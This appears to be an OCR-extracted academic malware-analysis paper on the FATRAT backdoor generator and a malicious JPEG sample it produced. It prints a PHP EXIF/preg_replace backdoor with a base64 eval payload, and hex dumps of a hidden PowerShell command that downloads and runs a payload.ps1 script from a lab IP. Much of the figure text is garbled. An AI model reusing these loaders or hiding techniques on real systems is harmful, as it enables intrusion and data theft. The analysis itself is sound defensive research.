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ABSTRACT

Malwares have become the new vector of cyber crime
and hackers are finding new ways to propagate these in
all available platforms. Hackers are using social media
to propagate backdoors to install it in victim machines
to acquire their important data and resources. In the
present scenario, Several automatic readymade tools
are available over internet using which any script
kiddies can create a dangerous malwares and victimize
his target. These malware generator are also have
categories & generations. It is important to understand
that, all the available malware generator previously
used in actual scenario of crime of steeling data either
in dark net or as a paid service. It is important to
understand the working and efficiency of such malware
generator . So, In this paper we analyze FATRAT, a
backdoor creator which is one of its type and
investigate the details with artifacts about it.
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1. INTRODUCTION

In the past few years of cyber world, cybercriminals
are implementing new techniques to hide their
malicious code inside other files in such a fashion that
it is undetected by antivirus.. For it, they are using
several complex infection processes than the previous
one. As the technology changes, the new generation of
cyber criminals are now putting their steps forward.
They are now leaving traditional cybercrimes and
using advance techniques where the malicious payload
is hidden in encrypted files — which ever be the
known file format. There are several example over
internet in which cyber attacks or incidents shows that
attackers are using sophisticated techniques.

In September 2016, Cisco talos-intel identified an
exploitable out-of-bounds vulnerability present in the
JPEG 2000 image file format parser which is
implemented in OpenJPEG library and now identify
by its TALOS-2016-0193 identification number or
Common Vulnerabilities and Exposures CVE-2016-
8332. This JPEG 2000 is a file format which is
specially used for embedding images inside the PDF
documents. This specific vulnerability is so dangerous
that it allow attacker to write out-of-bound heap which
include the heap corruption and then arbitrary code
execution is possible [1]. In March 2016 Kaspersky
Lab, catch a malicious payload hidden in the PNG file
i.e. it is embedded with the PNG file. This attack starts
with a simple phishing PDF [2].

Such types of incidents shows that now images over
the internet are not seen as innocent. They now can be
a medium to compromise the protected system. The
attacker manipulate the images and these images are
harmless until a trigger or input is given in the form of
double click done by the user on that image which
immediately start a malicious activity [3].

Researchers of Sucuri in July 2013 reported an
incident where they found an backdoor present on a
site that which was compromised. This backdoor did
not depend on the normal patterns like base64 and
gzip encoding which is used to hide the contents
contained within it [3].

This backdoor is divided into two parts. Both of part
are functions in which the first part is a mix of
exif_read_data function which is used to read the
image headers and the preg_replace function which is
used to execute the content. both PHP functions are
actually stored its data within the EXIF header
location of a JPEG image.
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$exif = exif_read_data('/homepages/clientsitepath/
images/stories/food/bun.jpg’);

preg_replace($exif['Make'],$exif['Model],");

Both functions are harmless by themselves. However,
preg_replace has a tricky and hidden options. On
passing "/e" modifier it execute the content(eval),
instead of just searching /replacing [3].0n looking to
bun.jpg file, second part of backdoor looks like:

yadyar@"PJFIFr @ "A"B "@"@d"@d"@"@
yé_/\@i EXif/\@/\@||*/\@/\H/\@/\@/\@/\B/\@/\
O/\AAB/\@AF/\@A@/\@&A@A@A@APAAABA
@m/\@/\@/\@,/\@/\@/\@ /\@/\@/\@/\@/_*/e/\
@ eval (base64_decode("aWYgKGI zc2VOK
CRfUE9TVFsie noxIl0OpKSB7ZXZhbChzdHJ
pcHNsYXNoZXMoJFI9QT1INUWYJ6ejEiXSk
p030=");@yi*"@"QDucky*"@"A"@"D"@"@
r@< @@y @"NAdobe

This types of incident show that, over internet, there
are several freely available tools which are used to
hide the malicious payload inside the images.
FATRAT is one of them. It is a massive exploiting
tool which is easy to understand and create backdoor.
This tool compiles a malware with popular payload
and then the compiled malware can be execute on
windows, android, mac . The malware that created
with this tool also have an ability to bypass most AV
software protection .This tool is used to post
exploitation attack like browser attack, dll, bypass
AV, etc. In this paper, We compile the malware and
payload with the JPEG images and make it a
malicious image. After it, analysis is done in our own
malware analysis setup lab and show the result.

In this paper, we analyze the backdoor creator and
demonstrate the Practical approach which are used by
the security personals or researcher to find out the
hidden files or proving the presence of hidden data
inside the image.

2. FATRAT

The Fatrat is a massive exploiting tool [4]. It create
backdoor for windows, linux, mac and android. It can
bypass antivirus. It checks for metasploit service and
start if not present. It is capable of crafting meterpreter
reverse_tcp, start multiple meterpreter reverse_tcp
listners. It uses the fast search in searchsploit and
many more. The functions provided by the fatrat are:

1) Create backdoor with msfvenom

2) Create FUD 100% Backdoor [slow but powerfull ]

3) Create FUD Backdoor with Avoid 1.2

4) Create FUD 100% Backdoor with backdoor-
factory [embed]

5) Backdooring Original apk [Instagram, Line, etc ]

6) Create Fud Backdoor 1000% with PwmWinds
[Excelent]

7) Create Backdoor For office with Microsploit

8) Create auto listeners

9) Jump to msfconsole

10) Searchsploit

11) File Pumper [Increase Your Files Size]

12) Configure Default Lhost & Lport

13) Cleanup

ncrease Your Files Size]

e
re Default Lhost & Lport

Figure 1 :- Home Screen of Fatrat [5]

The FATRAT facilitate the following facilities under
different section shown below:-
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LINUX >> FatRat.el?
WINDOWS »>» FatRat . exe
ANDROID >> FatRat. apk
MAC - atRat.mache
PMP - FAatRat. . php

ASF > FAatRat. . asp

J5%P - atRat. . jisp

WAR >> atRat .war
Create a bat file+Powershell (FUD 100%)

file with C# + Pow 1l (FUD 100%) i Python > FatRat.py
file with apache + rshell (FUD 100%) - -
e file with C + 1l (FUD 98 %) : Bash > FatRat.sh
Create Backdoor with C + Powershell + Embed Pdf (FUD 50%)
Farl > FatRat.pl

ate
Back to Menu
Back To Menwu

vindows Platfor

Figure 2: PawnWinds to create Powershell [6] Figure 5: Creator for different platform [7]

113, 283 thr; 3
1,64 3.16

SET LPORY 6969 ) &0V ‘ L1 00:32: s'

SET LHOST : 192,168.1.1

1ina

Figure 3: BackDooring for .apk files [6] Figure 6: Shell to bypass Antivirus [8]

| 1
T8 COMDALOS 3 C proqram with 2 meterpreter reverse tcp paylos

!

M uhad A )
(O UM D0 XKL 00 0 WANGONS Bost
( \ \ : Liseners for payload linux
100t (v :'n‘]:n‘ | ( p,’::{}' () {t 15 CORDIL It Wil oyDas LA tncmzr,\ ;UI p.ny::(mg r\‘:'J.mlo;\s.
’ v ’ iseners tor payloa ac
Liseners for payload Android
Back to Menu

Figure 4 : SlowButPowerFull meterpreter [7] Figure 7: Creating Listeners for Payload [8]
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2. FATRAT ANALYSIS

Using FATRAT, several samples are created using
different functionality provided and discussed
previously:

Step 1: Hashing : A Fingerprint for malware-
Hashing is used to uniquely identify malware. For it
Message Digest Algorithm 5 (MD5) hash function is
commonly used.

5 WinhD5 v2.07 (C) 2003-2006

Fie Edt Cpfions Help

-0l

Currently Processing: (idle)
(0 items enqueued)

Bath | Hazh | Bytes | Status

1 blackworldap.... 45¢b283820alel86cTeaiddcetaddlac 355588

Unknown

Figure 8: Hash value of the sample

Output Hash :
456b283820a1e066c766f39ce6e941ac

Step 2: Finding Strings:

PED String Viewer v0.02 4

Offet  |RA | Sting | s

0000MEDD 00004000  ibagj-16.dl b
O00OIEOE  ODOD400E v RegisterClasses

00001E24 00004024 powershel exe -w hidden -C (new-ohject System NetWehCli,.
00001F88 00004188 Uinknown error

0000IF38 00004198 _matherr(): %s in %s(%g, %a) (retvdl="%a)\n

0000IFC4  000041C4  Arqument domain error (DOMAIN)

Q000IFE3  DOO41E3  Arqument singularity (STGH)

00002000 00004200  Owerflaw range error (QVERFLOW)

00002020 00004220 The resuitis too small to be represented (UNDERFLOW)

0000205 00004258 Total loss of significance (TLOSS)

000007C  0DOD427C  Partidl loss of significance (PLOSS)

Mingw-w&4 runtime faiure:|p j

Adraee Bin hag nn imane-cartinn

(000428C
NANN4TNA

AR
Search string: |

Close

Figure 9: Presence of powershell and mingw

Output : Presence of powershell.exe in hidden
mode detected Presence of Mingw detected but
failed during execution

Step 3: Detecting Packers with PEID

REr

File: | C:\Jsers\w7U_Malware_lzb\Desktop|JPEG SAMPLES FakelmageExplo m

Entrypoint: | 000014C0
File Offeet: |00000RCD
Linker Info: |2.23

EP Section: | text
First Bytes: [83,6C,0C,C7
Subsystem: |Win32 GLI

\Nnming found [Overlay] *
Multi Scan | | Task Viewer Options About Exit
IV Stay on top E

Figure 10: Searching for packers

1

FileName: | C:\sers\7U_Malware _lab\Desktop\ PEG SAMPLES\FakelmageExp
Detected:  |Nathing found [Overlay] *
Sean Mode: | Normal

Entropy:  |5.85 (Not Packed)

EP Check:  |Not Paked

Fast Check: |Not Packed

I e

0K

Figure 11: Extra information of sample

Output:- Sample is not packed with any kind of
UPX, beside it on digging gets Magic literal:
PE32 executable for MS Windows (GUI)
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Step 4: Check PE Files Headers and Sections with
Image file header

WWW'M'WF'W Nt
CAUsers /U M MG S
A Araab s it Lol

V0000 Hms

o 1, chwedhap g o it Data Duscrgion Vilt
AGE 00S FEACER | COIOM. 01 Moo INAGE FLE JAHHE 10
WO005 SubProgam | 00000066~ O00F Numbarof Sictons
o INAGE T HEADERS | 00000088 SO1CEECY  Time Date Stamp 2017/05/%8 Thy 004553 UTC

Siptu O00000EC 00031000 Poter b Symbol Tabl
WAGE FLE HEADER | 00000050 OODOOAET ambr of Syl
WAGE OPTIONAL_HEAI 0000ttty 0060 SimofOponalHoade

Figure 12: Image file header information

Final Output:

Target machine Intel 386 or later processors and
compatible processors

Compilation timestamp 2017-05-18 00:45:53
Entry Point 0x000014C0

Number of sections 15

Step 5: Analysis using IDA Pro. In this step, we
show to difference of real genuine Image vs
Malicious crafted coded Image.

Real Image :- As we see in IDA pro disassembler,
there is no import or export funtions are used as it
is a real genuine Image.

IDA\-’iew-ﬂl HexView-AI éﬁ Exportz % Importsl N Namesl \lﬂ] Functionsl 0P Stringsl E
| Library |

Address | Ordinal | Mame

Figure. 13: No import functions in real Image

%] DA View | 2 HexViews H Exports |[§_§ Imprts | N Names | 1) Functions |
| Addrass

| Oidinal |

M ame

Figure 14: No export functions in real Image

Malicious crafted coded Image.:- There are
several import or export functions are used.

Same file but with Embedded codes

IDMiew-ﬁl Hex‘-ﬁiew-ﬁ' %11 Exports % Impurtsl N Namesl ‘El] Funclinnsl

fiddress | Drﬂna|| Mame | Librany
s 00405196 e msvert
P D04061 9L i msvet
B 0406140 fee msvert
i D040 144 furte msvet
B D040 148 maloc msvert
% (04081... MEMCAY maveit
B 0406180 sigrel msvert
E@gﬂﬂ405184 srlen mvert
E@@nu4ns1aa shincmp mavert
E§§004051" _unlack mvert
B D04061C0 ahat msvet
% 0040614 gystem mvert
P D04D61CA ipiint msvet
% 004061.. calloc mvert

Figure 15(a): Import functions in crafted Image

DeleteCriticalSection
EnterCriticalSection
GetCurrentProcess
GetCurrentProces=sId
GetCurrentThreadld
GetLastError
GetModuleHandled
GetProcAddress
GetStartuplnfof
GetSystemT imeAzFileT ime
GetTickCount
InitializeCriticalSection
LeaveCriticalSection
QueryPerformanceCounter
SetlUnhandledExceptionFilter
Sleep

TerminateProcess
Tl=GetlUalue
UnhandledExceptionFilter
VirtualProtect
UirtualQuery

Figure 15(b): Import functions in crafted Image
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. Cmmp e a1
TN SEAI I

"payhad-lhtepad

e cdt Fomat Vew Hep

Doershel . e -noE ~Hnd fidden -Bxec Bypass -noni -enc AQBNACOANBIACIAL
AL A ARYA AR GOAT AADOACHBEAFDABACTA
B3 XAGKADBOAEALASAF TAKYBADVAY B TAGIAZABDAR TAZVADADC
LBt HOAVABHAEACABRAC AR APRAQBHAGEATIBCAE OB ZADKALQEAFOAZNBUAG
A AAZAE A AREATABACTACH AR BIAE BANABLAGS AUOAKAGOASQR A

Figure 17: Shellcode embedded with image

_dllonexit
__getmainargs
__initenw
lconv_init
set_app_type
setusermatherr
acmdln
amsg_exit
cexit

fmode
initterm

furite
malloc
Mmemc puy
signal
strlen
strncmp

Step 8 :- Analyzing the genuine Image vs
Malicious crafted coded Image in Hex Editor Neo

*:3 e Edtor Neo (hdmimratr

_unlock
ahort
system
vifprintf
calloc

Fle bt View See Opectons Bookmarts NTFSSoeems Tods Heoy Vindow

U il Bty X
ooootng | 0000 Q20 CA05 607 OR09 Qafo Oc0d (e (E

O000oonn | b £ el 010 G4 WA OO QOOY LI

m 2 !
Anar | Innn laTa 2l el
Laa Unnans oWs neD

— 048 0000 fEdb 0043 00 0a 0608 0906 0 i
08| ot 2 s 2 e W e oy 1 0 ER G DN B B

00000020 | 0 (a 0 0F 003 Qe leOF OFOF (E12 1815

hare totes | rind ML 55558 B 5D B BE NI 0L b
Tt [ 0 b al
ﬁﬁTleallhackj 401 noneo) AN AL Ak kdk ok kil .J‘.?*f{{{{f{{{q{
" o MSH| e ek Sl ke kAN BH D Qs

Figure 16: Export functions in crafted Image

000060 | 23 le3 MW AL MR NN Rk s
MO0 RO ke RN kk ok s

Step 7:- Opening shellcode

As there are lots of Import functions hide inside

the images and using on executing it.

O0ED ) % BT ket hlhhlk bbb kbl cmmmmmm

Figure 18: Genuine Image header
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1 HeEdtr e Lt

e bdt Vien Seet Opebons Bookmarks NTFSSheams Took Hitory Window Help

ﬂﬂl_hlackworldMapjpg.eqe X‘

I

I 1!

Figure 19: Malicious crafted coded Image header

During the searching of artifacts, we find out the
attacker IP and powershell in hidden

Figure 20: Artifact of malicious images

:[ml_b\a(kworldl\a’lap.jpg.ace X}

00001£74 | 00 01 02 03 04 05 06 07 0809 OaOb Oc Od Qe OF

00001e00 | (6c 69 62 67 63 6a 2d 31 36 2e 64 6c 6c 00 5 da ibgcj-16.d11. .
00001el0 | (76 S 52 65 67 69 73 74 65 72 43 6c 61 73 73 65 " RegisterClass
00001e20 | (73 00 00 00 70 6 77 65 72 73 68 65 6c 6c 2e 65 -..powershell.
00001e30 | (78 65 20 2d 77 20 68 69 64 64 65 6e 20 2d 63|20 e -w hidden -
00001ed0 | 28 G2 65 77 2d 6L 62 éa 65 63 74 20 53 79 73 74 (new-object Syst
00001e50 | 65 6d 2e d4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 em.Net.WebClient
00001e60 | 29 2e |44 6f 77 62 6c 6f 61 64 66 69 6c 65| 28 27 u)mmlnadfilt
00001e70 | (68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 33| pttp://192.168.3
0000led0 | (32 2e 31 33 30 2 31 5 62 6c 61 63 &b 77 6f 72| [.130/1 blackwoy
00001e90 | [6c 64 4d 61 70 2e 6a 70 67 27 2c 20 27 43 3a 5c| |[dMap.jpg', 'C:
00001eal | (55 73 65 72 73 5c 50 75 62 6c 69 63 5Sc 31 5f 62| Psers\Public\l b
00001eb0 | (6c 61 63 6b 77 6f 72 6c 64 4d 61 70 2e 6a 70 67| |ackworldMap.jpg
0000lecO | (27 29 20 26 20 70 6E 77 65 72 73 6B &5 6c 6c 2e ) & powershell
0000led0 | (65 78 65 20 2d 77 20 68 69 64 64 65 6e 20 2d 63| pxe -w hidden g
0000lee0 | (20 43 3a Sc 55 73 6572 73 5c 50 75 62 6c 69 63 C:\Users\Publig
00001ef0 | (Sc 31 5L 62 6c 61 63 6b 77 6f 72 6c 64 4d 61 70 1 _blackworldMap
00001£00 | (2e 62 70 67 20 26 20 70 6L 77 65 72 73 68 €5 6C jpg & powershel
00001£10 | (6c 2e 65 78 65 20 2d 77 20 68 69 64 64 65 6e 20| |[.exe -w hidden
00001£20 | (2d 63 20 22 49 45 58 20 28 28 6e 65 77 2d 6L 62| |c "IEX ((new-ob
00001£30 | [6a 65 63 74 20 6e 65 T4 2e 77 65 62 63 6c 69 65| [ject net.webclig
00001£40 | [fe 74 29 2e 64 6f 77 6e 6o 6f 61 64 73 74 72 69 pt).downloadatrd
00001£50 | [6e 67 22 27 68 74 74 70 3a 2f 2f 31 39 32 2e 31| pg{'http://192.1
00001£60 | (36 38 2e 33 32 2e 31 33 30 2f 70 61 79 éc 6f 61| |6E.32.130/paylo
00001£7d4 | |64 22 70 73 31|2T 29 29 22 00 00 00 20|53 40 00 [H.psl'))"... S@.

ﬂﬂl_blacmrldf\dap.jpg.ace X]

00002914 | 00 OL 0203 0405 0607 (0B 03 0alh OcOd Oe Of
00002730 | 4e &4 0000 5664 0000 60 64 00OC 6264 0000 Nd..Vd..'d..jd..
00002700 | 74 64 0000 7e 64 0000 GE 64 0000 92 64 0000 td..~d.."d..'d..
000027c0 | Sc &4 0000 a4 64 0000 &ae 64 0000 ba b4 0000 eod.md..ed..d.
000027d0 | 00 00 00 00 d5 00 |44 65 fc 65 T4 6D 4372 69 T4 ....5.ElEtECrit
0000270 | |69 63 61 6c 53 65 63 74 69 6f ﬁEMUD 45 e[ fcalSection.nlEn
00002760 | |74 65 72 43 72 63 74 69 63 61 6c 53 63 63 74 69 ferCriticaldectd
00002800 | |6f &e| 00 00 cé 01 |4T 65 7443 7572 7285 fe T4 ) etCurrent
00002810 | |50 72 € 63 63 73 T3|00 c7 01 |4? 65 74 43 75 72| |Proces tlur
00002820 | |72 65 €e 74 5072 GE 63 6573 7349 64|00 cb 0l |entProcessld.i.
00002830 | |47 65 74 43 7572 7265 e 74 S4 68 72 65 61 64 pecCurrentThreac
00002540 | 149 64/ 00 00 0502 (47 65 T4 dc 6173 T4 45 T2 72
00002850 | |6 72/ 00 00 1702 47 65 74 4d 6f 64 75 6c 83 48
00002860 | |61 6e 64 6c 65 41) 00 00 4702 [47 65 74 30 72 €f
00002870 | 163 41 64 64 72 65 73 73[ 00 00 4 53
00002860 | |74 €L 72 74 T3 70 49 68 66 6f 47 65
00002890 | |74 53 7973 74 65 fd 54 69 6d 63 41 73 46 69 fc
000028a0 | 165 54 69 6d 65/00 99 02 |47 65 74 54 6% 63 b 43
00002800 | |6 75 e 74| 00 00 ed 02 |49 62 €9 74 6% 6l fc €9
000028c0 Bl 6c 33 65 63 74 69 6f

Ta 65 43 72 68 T4 69 63

FeCr:iticalSecr.ic
Ll LICE JERLIE

Figure 21: Other critical functions implanted in crafted

image
ﬂﬂl_h\ackwurldMap.jpg.a(e x\
000naf7 | Q0 OL 0203 405 0807 0809 Cath Ocod O Of
00002300 | 00 00 B 00 5F 63 65 78 IEIH 0000 d Uﬂlﬁ o CEM
00002210 | |6d 6F 6465 0000 1800 SE69 6e 68 7474 €572 mpode.... initees
00002820 | (6 00 e 01 SE 69 662 00 Q0 7401 5f6c 6F 63 .. dch..}. log
00002330 | |0 00 1a 02 SE6f 6285 7863 7400 ad (3 €576 ... onexit.-.ex
00002340 | |88 74 0000 bc 03 6670 7263 6e74 6600 c2 03 [t. sfprintf.d
00002850 | (66 72 6565 000 co 03 G677 T2 6% 465 0000 [Free..E.furite
00002260 | |T703 6d 61 6 6E 63 0000 f4 03 G465 6463 r.malloc..f.em
00002270 | |70 79 0000 1604 7389 @76 €16c 0000 2504 py....3iqnal..3
00002380 | 7374 T2 6c 6560 0000 2704 7374 72 6e €3 6d ptrlen..'.stmnen
00002390 | (1000 a7 02 S£75 e bc 6F 63 6000 a2 6L 62| p.§. wnlock.d.h
0000280 | |6 72 7400 3404 7379 T34 63 6d 0000 72 04
00002ab0 | {7666 70 72 69 6e 74 66 0000 a3 03 6361 6 fc
00002ac] | 3£ 63) 00 00 0060 0000 (0060 00OO 0060 0O CC

Figure 22: Memory function used in hidden form
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CONCLUSION & FUTURE WORK

Malicious payload which is hide using FATRAT are
hard to detect & this scheme is generally used by the
criminal to act maliciously in other area. For it, they
generally used the various types of file format in
which JPEG is the most innocent one. So, the
challenges of scanning billions of image which are
crossing the organization borders, irrelevant to their
size, which are non-impacting anomalies are huge.

This provide an opportunity to the malware authors to
take it as a advantage and using it to hide malicious
code which leave an organization, stealthily send
commands to infected victim and transferring various
types of malwares across existing types of defenses.
So as a researcher it is required to analyze such types
samples and detect the images containing the
malicious content in the real time scenario.
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